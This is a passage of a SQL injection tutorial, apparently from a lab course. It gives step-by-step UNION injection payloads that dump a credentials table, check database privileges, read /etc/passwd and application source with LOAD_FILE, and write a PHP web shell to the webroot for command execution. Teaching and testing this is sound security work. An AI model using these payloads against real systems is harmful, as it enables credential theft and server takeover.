cn' UNION select 1,database(),2,3-- -

Tables

Before we dump data from theĀ devĀ database, we need to get a list of the tables to query them with aĀ SELECTĀ statement. To find all tables within a database, we can use theĀ TABLESĀ table in theĀ INFORMATION_SCHEMAĀ Database.

TheĀ TABLESĀ table contains information about all tables throughout the database. This table contains multiple columns, but we are interested in theĀ TABLE_SCHEMAĀ andĀ TABLE_NAMEĀ columns. TheĀ TABLE_NAMEĀ column stores table names, while theĀ TABLE_SCHEMAĀ column points to the database each table belongs to. This can be done similarly to how we found the database names. For example, we can use the following payload to find the tables within theĀ devĀ database:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Note

Note how we replaced the numbers ā€˜2ā€™ and ā€˜3ā€™ with ā€˜TABLE_NAMEā€™ and ā€˜TABLE_SCHEMAā€™, to get the output of both columns in the same query. We added a (where table_schema=ā€˜devā€™) condition to only return tables from the ā€˜devā€™ database, otherwise we would get all tables in all databases, which can be many.

Columns

To dump the data of theĀ credentialsĀ table, we first need to find the column names in the table, which can be found in theĀ COLUMNSĀ table in theĀ INFORMATION_SCHEMAĀ database. TheĀ COLUMNSĀ table contains information about all columns present in all the databases. This helps us find the column names to query a table for. TheĀ COLUMN_NAME,Ā TABLE_NAME, andĀ TABLE_SCHEMAĀ columns can be used to achieve this. As we did before, let us try this payload to find the column names in theĀ credentialsĀ table:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Data

Now that we have all the information, we can form ourĀ UNIONĀ query to dump data of theĀ usernameĀ andĀ passwordĀ columns from theĀ credentialsĀ table in theĀ devĀ database. We can placeĀ usernameĀ andĀ passwordĀ in place of columns 2 and 3:

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

Privileges

Reading data is much more common than writing data, which is strictly reserved for privileged users in modern DBMSes, as it can lead to system exploitation, as we will see. For example, inĀ MySQL, the DB user must have theĀ FILEĀ privilege to load a fileā€™s content into a table and then dump data from that table and read files. So, let us start by gathering data about our user privileges within the database to decide whether we will read and/or write files to the back-end server.

DB User

First, we have to determine which user we are within the database. While we do not necessarily need database administrator (DBA) privileges to read data, this is becoming more required in modern DBMSes, as only DBA are given such privileges. The same applies to other common databases. If we do have DBA privileges, then it is much more probable that we have file-read privileges. If we do not, then we have to check our privileges to see what we can do. To be able to find our current DB user, we can use any of the following queries:

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

OurĀ UNIONĀ injection payload will be as follows:

cn' UNION SELECT 1, user(), 3, 4-- -

or:

cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

Which tells us our current user, which in this case isĀ root. This is very promising, as a root user is likely to be a DBA, which gives us many privileges.

User privileges

Now that we know our user, we can start looking for what privileges we have with that user. First of all, we can test if we have super admin privileges with the following query:

SELECT super_priv FROM mysql.user

Once again, we can use the following payload with the above query:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

If we had many users within the DBMS, we can addĀ WHERE user="root"Ā to only show privileges for our current userĀ root:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

The query returnsĀ Y, which meansĀ YES, indicating superuser privileges. We can also dump other privileges we have directly from the schema, with the following query:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

From here, we can addĀ WHERE grantee="'root'@'localhost'"Ā to only show our current userĀ rootĀ privileges. Our payload would be:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

And we see all of the possible privileges given to our current user:

We see that theĀ FILEĀ privilege is listed for our user, enabling us to read files and potentially even write files. Thus, we can proceed with attempting to read files.

LOAD_FILE

Now that we know we have enough privileges to read local system files, let us do that using theĀ LOAD_FILE()Ā function. TheĀ LOAD_FILE()Ā function can be used in MariaDB / MySQL to read data from files. The function takes in just one argument, which is the file name. The following query is an example of how to read theĀ /etc/passwdĀ file:

SELECT LOAD_FILE('/etc/passwd');

Note

We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

Similar to how we have been using aĀ UNIONĀ injection, we can use the above query:

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Another Example

We know that the current page isĀ search.php. The default Apache webroot isĀ /var/www/html. Let us try reading the source code of the file atĀ /var/www/html/search.php.

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

However, the page ends up rendering the HTML code within the browser. The HTML source can be viewed by hittingĀ [Ctrl + U].

Writing Files

When it comes to writing files to the back-end server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a web shell on the remote server, hence getting code execution and taking over the server. This is why modern DBMSes disable file-write by default and require certain privileges for DBAā€™s to write files. Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files.

Write File Privileges

To be able to write files to the back-end server using a MySQL database, we require three things:

  1. User withĀ FILEĀ privilege enabled
  2. MySQL globalĀ secure_file_privĀ variable not enabled
  3. Write access to the location we want to write to on the back-end server

We have already found that our current user has theĀ FILEĀ privilege necessary to write files. We must now check if the MySQL database has that privilege. This can be done by checking theĀ secure_file_privĀ global variable.

secure_file_priv

TheĀ secure_file_privĀ variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand,Ā NULLĀ means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has theĀ FILEĀ privilege. However,Ā MySQLĀ usesĀ /var/lib/mysql-filesĀ as the default folder. This means that reading files through aĀ MySQLĀ injection isnā€™t possible with default settings. Even worse, some modern configurations default toĀ NULL, meaning that we cannot read/write files anywhere within the system.

So, letā€™s see how we can find out the value ofĀ secure_file_priv. WithinĀ MySQL, we can use the following query to obtain the value of this variable:

SHOW VARIABLES LIKE 'secure_file_priv';

However, as we are using aĀ UNIONĀ injection, we have to get the value using aĀ SELECTĀ statement. This shouldnā€™t be a problem, as all variables and most configurationsā€™ are stored within theĀ INFORMATION_SCHEMAĀ database.Ā MySQLĀ global variables are stored in a table calledĀ global_variables, and as per the documentation, this table has two columnsĀ variable_nameĀ andĀ variable_value.

We have to select these two columns from that table in theĀ INFORMATION_SCHEMAĀ database. There are hundreds of global variables in a MySQL configuration, and we donā€™t want to retrieve all of them. We will then filter the results to only show theĀ secure_file_privĀ variable, using theĀ WHEREĀ clause we learned about in a previous section.

The final SQL query is the following:

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

So, similar to otherĀ UNIONĀ injection queries, we can get the above query result with the following payload. Remember to add two more columnsĀ 1Ā &Ā 4Ā as junk data to have a total of 4 columnsā€™:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

And the result shows that theĀ secure_file_privĀ value is empty, meaning that we can read/write files to any location.

SELECT INTO OUTFILE

Now that we have confirmed that our user should write files to the back-end server, letā€™s try to do that using theĀ SELECT .. INTO OUTFILEĀ statement. TheĀ SELECT INTO OUTFILEĀ statement can be used to write data from select queries into files. This is usually used for exporting data from tables.

To use it, we can addĀ INTO OUTFILE '...'Ā after our query to export the results into the file we specified. The below example saves the output of theĀ usersĀ table into theĀ /tmp/credentialsĀ file:

SELECT * from users INTO OUTFILE '/tmp/credentials';

If we go to the back-end server andĀ catĀ the file, we see that tableā€™s content:

cat /tmp/credentials 
 
1       admin   392037dbba51f692776d6cefb6dd546d
2       newuser 9da2c9bcdf39d8610954e0e11ea8f45f

It is also possible to directlyĀ SELECTĀ strings into files, allowing us to write arbitrary files to the back-end server.

SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

When weĀ catĀ the file, we see that text:

cat /tmp/test.txt 
 
this is a test
ls -la /tmp/test.txt 
 
-rw-rw-rw- 1 mysql mysql 15 Jul  8 06:20 /tmp/test.txt

As we can see above, theĀ test.txtĀ file was created successfully and is owned by theĀ mysqlĀ user.

Tip

Advanced file exports utilize the ā€˜FROM_BASE64(ā€œbase64_dataā€)ā€™ function in order to be able to write long/advanced files, including binary data.

Writing Files through SQL Injection

Letā€™s try writing a text file to the webroot and verify if we have write permissions. The below query should writeĀ file written successfully!Ā to theĀ /var/www/html/proof.txtĀ file, which we can then access on the web application:

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

Note

To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to useĀ load_fileĀ to read the server configuration, like Apacheā€™s configuration found atĀ /etc/apache2/apache2.conf, Nginxā€™s configuration atĀ /etc/nginx/nginx.conf, or IIS configuration atĀ %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, usingĀ this wordlist for LinuxĀ orĀ this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

TheĀ UNIONĀ injection payload would be as follows:

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

We donā€™t see any errors on the page, which indicates that the query succeeded. Checking for the fileĀ proof.txtĀ in the webroot, we see that it indeed exists:

Note

We see the string we dumped along with ā€˜1ā€™, ā€˜3ā€™ before it, and ā€˜4ā€™ after it. This is because the entire ā€˜UNIONā€™ query result was written to the file. To make the output cleaner, we can use "" instead of numbers.

Writing a Web Shell

Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. We can write the following PHP webshell to be able to execute commands directly on the back-end server:

<?php system($_REQUEST[0]); ?>

We can reuse our previousĀ UNIONĀ injection payload, and change the string to the above, and the file name toĀ shell.php:

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
 
# http://94.237.55.105:37860/shell.php?0=id

The output of theĀ idĀ command confirms that we have code execution and are running as theĀ www-dataĀ user.